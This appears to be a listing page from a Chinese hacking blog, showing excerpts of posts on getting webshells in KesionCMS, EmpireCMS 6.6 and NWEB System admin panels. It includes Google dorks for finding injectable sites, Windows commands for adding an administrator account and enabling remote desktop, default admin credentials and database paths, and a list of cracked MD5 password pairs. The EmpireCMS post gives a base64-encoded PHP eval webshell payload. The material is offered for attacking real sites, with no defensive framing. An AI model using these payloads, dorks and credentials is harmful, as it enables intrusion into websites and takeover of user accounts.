-
科讯kesioncms 5.5以下漏洞后台拿shell
科讯做为一个强大的cms程序大多被政府和教育机构网站所使用，关于科讯的漏洞利用教程网上不是很多。由于科讯的后台登陆需要输入认证码，而认证码没有保存在数据库而是保存在asp文件中，所以在某种程度上增大了拿shell 的难度。下面就个版本拿shell 的方法做一总结。 KesionCMS V3.x和3.x以下版本 网上有0day工具不过没有具体原理，下面就讲一下手工拿shell的方法 关键字：in...阅读全文阅读全文
-
网站注入大全关键字
inurl:asp?id= inurl:Article_Print.asp? EnCompHonorBig.asp?id=随便加个数字 showproduct.asp?id=随便加个数字 inurl:ManageLogin.asp EnCompHonorBig.asp?id= 随便加个数字 inurl: (asp?=数字) inurl: (php?=数字) inurl:Article_Print.asp? site 指定网站 inurl:Article_Print.asp? NewsInfo.asp?id= ShowNew.asp?Id= ShowNews.asp?Id= Show.asp?Id= Google dorks sql ...阅读全文
-
cmd提权部分常用命令
CMD部分提权常用命令 ipconfig 显示本地IP地址 net start telnet 开telnet服务 net use z:127.0.0.1c$ 映射对方的C盘 net user 查看所有用户列表 net user hucxsz hucxsz /add 添加用户hucxsz密码为hucxsz net localgroup administrators hucxsz /add 将帐号hucxsz升级为管理员 开3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Term...阅读全文
-
网站注入关键字总结
PHP DORK inurl:(0x3a,version inurl@version,0x3a,databse) inurl:(user,0x3a,pass) inurl:+union+select+ from inurl:+union+select+ pass inurl:+union+select+ SHOP inurl:+union+select+ admin inurl:index.php?id= inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:play_old.php?id= inurl:declaration_more.php?decl_id= inurl:pageid= ...阅读全文
-
帝国cms 6.6后台拿webshell方法
进入后台后点击自定义页面-增加自定义页面-随便写了qxz.php文件名，页面内容填写，<script language=”php”>echo base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=”);</script> 如果内容直接添一句话或者php大马是没有用的，，因为他会生成qxz.php前先给你执行！！ PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= 就是 <?php @eval($_POST[‘cmd&#...阅读全文
-
收集的一些破解过的MD5密文
d7c48f4093825b04 ming123 7333be214e2c7808 123,!! d9966c834441d3a1 huxiadmin 3b3516e7efa7015a fjjjzx2008 ce9f21a791429e49 dai_6407 d7932f6e0545e6b3 hj12310402!(*! e5e8fa1cf88b768a 194523102872 8c17e425c5506b7c 894370988@qq.com 369c820820a1a5f4 wangchanglei11 7f403dfbdc2a11d8 ad...阅读全文
-
万博企业网站管理系统(NWEB System)后台拿shell
管理登录：/system/adminlogin.asp ‘管理帐号：admin ‘密 码：admin888 网站数据：/Database/NwebCn_Site.mdb (常规内容数据库) /Database/Bak_NwebCn_Site.mdb (备份内容数据库) /Database/NwebCn_Stat.mdb (常规流量数据库) /Database/Bak_NwebCn_Stat.mdb (备份流量数据库) 常量配置：/Include/Const.asp (如果你更改过数...阅读全文
